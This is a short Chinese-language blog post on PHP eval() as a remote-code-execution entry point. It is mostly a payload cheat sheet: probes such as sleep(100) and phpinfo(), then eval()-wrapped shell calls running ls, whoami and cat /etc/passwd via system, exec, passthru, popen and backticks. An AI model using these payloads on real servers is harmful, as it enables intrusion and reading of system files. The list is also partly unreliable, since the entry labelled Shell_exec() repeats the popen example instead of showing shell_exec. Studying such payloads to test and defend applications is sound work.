远程代码执行的入口
PHP 的 eval() 函数通常被称为 Web 开发中最具争议的功能之一,它是一把双刃剑。一方面,它提供了一种动态执行 PHP 代码的强大方法,但另一方面,它打开了安全漏洞的潘多拉魔盒,尤其是远程代码执行 (RCE)。
PHP 中的 eval() 函数就像一道魔法咒语,可以将任何一段文本变成真实的、可执行的 PHP 代码。
Eval() 的安全问题
eval() 函数将字符串作为 PHP 代码进行计算。当这个看似无害的功能与未经适当过滤的用户输入相结合时,它就成了攻击者手中的武器。其潜在危害包括未经授权的信息泄露以及服务器的完全接管。
用于测试 eval() 或 RCE 的有效载荷
sleep(100);
phpinfo();
a+a
如何利用 Eval
1. System()
eval("system('ls');");
2. Exec()
eval("exec('whoami', \$output); echo \$output[0];");
3. Passthru()
eval("passthru('cat /etc/passwd');");
4. Shell_exec()
eval("\$handle = popen('/bin/ls', 'r'); echo fread(\$handle, 2096);");
5. Popen() 和 Proc_open()
eval("\$handle = popen('/bin/ls', 'r'); echo fread(\$handle, 2096);");
6. 反引号技巧
`whoami`;
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容